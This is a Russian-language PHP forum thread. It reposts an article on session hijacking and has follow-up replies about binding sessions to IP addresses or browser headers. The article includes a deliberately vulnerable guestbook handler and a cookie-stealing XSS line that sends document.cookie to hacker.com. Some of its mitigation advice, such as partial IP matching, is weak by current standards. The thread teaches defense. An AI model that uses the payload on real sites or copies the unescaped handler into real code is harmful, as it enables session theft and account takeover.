Есть вопрос?
Зайди на форум

Поиск на сайте: Advanced

Denix - новый дистрибутив Linux. Русификация Ubuntu и установка кодеков

dkws.org.ua
Форум сайта dkws.org.ua
 
Главная    ТемыТемы    АльбомАльбом    РегистрацияРегистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 

Безопасное программирование на PHP. Кража сессии.

 
Начать новую тему Ответить на тему    Список форумов dkws.org.ua -> PHP
 
Автор Сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Пт Dec 08, 2006 6:04 pm    Заголовок сообщения: Безопасное программирование на PHP. Кража сессии.
Ответить с цитатой

Автор - Лободенко Д.И.

В настоящий момент ни одно серьёзное Web-приложение не обходится без использования механизма сессий. Наиболее распрастранено использование сессий для разграничения доступа пользователей к личным ресурсам.

Рассмотрим типичный процесс авторизации с использованием сессии.
У пользователя запрашивается логин и пароль.
Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать Smile.
SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).

В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.
Замечание

Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту Smile.

В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

Существуют два самых распространенных варианта:

1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121

Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором 01c1739de76ed46e639cd23d33698121.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться Smile. С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.

<!--- тут чего-то -->
<form action=addmsg.php method=post>
Текст:
<textarea name="text"></textarea>
<input type="submit" value="Добавить">
</form>

Содержимое обработчика addmsg.php представлено ниже

<?php
if(!empty($_POST['text']))
{
$line = str_replace("/ ?
/s", " ", $_POST['text']);
//запись в базу или в файл
}
else
{
exit("Ошибка");
}
?>

Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в &lt; и > в &gt; в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

<script>window.open("http://hacker.com/get.php?"+document.cookie, 'new')
</script>

И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
Скрипт авторизации

<?php
if (логин и пароль верные)
{
$_SESSION['authorized'] = true;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>

Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

<?php
if (!empty($_SESSION['authorized']) &&
$_SESSION['ip'] == $_SERVER['REMOTE_ADDR'])
{
// Доступ к ресурсу открыт.
}
else die("Доступ закрыт.");
?>

Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой Smile - поэтому в доступе ему будет отказано.

Данный метод не является универсальным и у него тоже есть слабые места.
Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
Если пользователь использует модем, и произойдет обрыв связи, то после восстановления связи, ему скорее всего будет назначен другой IP-адрес. Пользователь может быть неприятно удивлён, если он будет огульно зачислен в ряды злоумышленников (поэтому писать угрозы и призывы к совести в системах защиты не стоит - в таких системах тоже бывают ошибки). Последний недостаток имеет место на форумах, посетители которых имеют привычку при наборе длинного ответа отключать Интернет и работать offline. Нажатие на кнопку "Ответить" приводит к тому, что вся набраная информация теряется, так как никто не заботится о том, что бы сохранять текст набранный злоумышлеником Smile)).

Выход: (вернее полу выход) Проверять на идентичность только первые 3 цифры IP адреса, кража SID по-прежднему статистически маловероятна, однако это в большинстве случаев, позволяет более мягко отнестись к разрыву соединения, так как провайдерам обычно выделяют неразрывный диапазон IP-адресов, в котором меняется только последняя цифра.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Артур

Новенький


Зарегистрирован: 14.10.2007
Сообщения: 14

СообщениеДобавлено: Ср Dec 19, 2007 9:12 pm    Заголовок сообщения:
Ответить с цитатой

В книге по PHP учат так если пароль и логин в базе совпадают создаем сессию $_SESSION['this_user']=$user_name;
получается если 1 пользователь авторизовался,то второй и последующие авторизавались автоматически ,т.к сессия $_SESSION['this_user'] уже есть(Проверка на следующих страницах осуществляктся if ($_SESSION['this_user']) {...} ).
Или для каждого пользователя сессия уникальна?
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Maxim

Участник тусовки


Зарегистрирован: 22.02.2006
Сообщения: 245

СообщениеДобавлено: Ср Dec 19, 2007 10:45 pm    Заголовок сообщения:
Ответить с цитатой

den, такая проблеема тоже была. Решили так. Во-первых, для сессий использована таблица MySQL, это повышает надёжность по ряду параметров и к тому же работает быстрее, во-вторых, так как IP может меняться непроизвольно в течении достаточно короткого периода времени (30 минут - 2 часа) сессию было решено привязать к хэшу строки вида $_SERVER['HTTP_USER_AGENT'].$_SERVER['HTTP_ACCEPT']. Proxy сервера не модифицируют этот заголовок, кроме тех, которые для этого предназначены, так что этот параметр вполне стабилен. К тому же догадаться какой браузер/операционную систему использует хозяин не так просто как может показаться в начале. Кроме того, безопасность повышет факт "переиздания" сессии. Каждый раз, когда вы обновляете страничку, вы получаете новый идентификатор, накладные расходы на такую операцию не большие, потому как обновлять данные сессии всё равно необходимы. А идентификатор устаривает так быстро, что нужно оччень быстро шевелиться, чтобы воспользоваться вашим аккаунтом.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Чт Dec 20, 2007 6:40 am    Заголовок сообщения:
Ответить с цитатой

Хорошая идея Question
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
yok

Участник тусовки


Зарегистрирован: 06.02.2008
Сообщения: 260
Откуда: krasnodar

СообщениеДобавлено: Чт Мар 11, 2010 9:17 am    Заголовок сообщения:
Ответить с цитатой

Здравствуйте ДЕН И ДЕНЧАНЕ.

У меня такой вопрос:

Обычно везде пишут session_start() сразу в начале файла.
Могу ли я открывать сессию и регистрировать переменные где либо внутри файла.
Допустим там уже чтолибо для браузера написано, может какая обработка пхп произведена, а потом при условии каком либо if(1==1) { session_start(); }

Почему задумался, просто много просто посетителей, а авторизовавшийся один. Вообще если задуматься конечно ресурса жрет это дело не много, но всеже.

Или же такой подход уже открывает какие дыры в безопасности?

И такая строка удаляет все переменные
unset($_SESSION['var']); ???

Выход нашел со стартованием сессии только для тех кто нужен
if (isset($_REQUEST[session_name()])) session_start();

но вообще интересно как пхп ведет себя, и вот может так можно,
если условие выполняется
if(true) { require("ddd.php"); }
а в ddd.php стартует сессия и уже в нем пхп ставит идентефикаторы.
Так не возможно???? И ведь идентефикаторы то нужны только в определенных ссылках или формах, а они именно будут в ddd.php
Что думаете по этому поводу.


Последний раз редактировалось: yok (Чт Мар 11, 2010 11:57 am), всего редактировалось 1 раз
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Чт Мар 11, 2010 11:56 am    Заголовок сообщения:
Ответить с цитатой

Цитата:

Обычно везде пишут session_start() сразу в начале файла.

Потому что старт сессии должен быть до первого вывода сценария. Иначе будут закрыты заголовки и сессию начать будет невозможно.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
yok

Участник тусовки


Зарегистрирован: 06.02.2008
Сообщения: 260
Откуда: krasnodar

СообщениеДобавлено: Чт Мар 11, 2010 12:00 pm    Заголовок сообщения:
Ответить с цитатой

А вот , ключевое, Иначе будут закрыты заголовки и сессию начать будет невозможно.
Сессия без заголовков не стартанешь.
СПАСИБО ДЕН!!! Question
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Чт Мар 11, 2010 12:36 pm    Заголовок сообщения:
Ответить с цитатой

Конечно без заголовков никак
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Показать сообщения:   
Начать новую тему Ответить на тему    Список форумов dkws.org.ua -> PHP Часовой пояс: GMT
Страница 1 из 1
 Главная страница сайта
 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
© Колисниченко Денис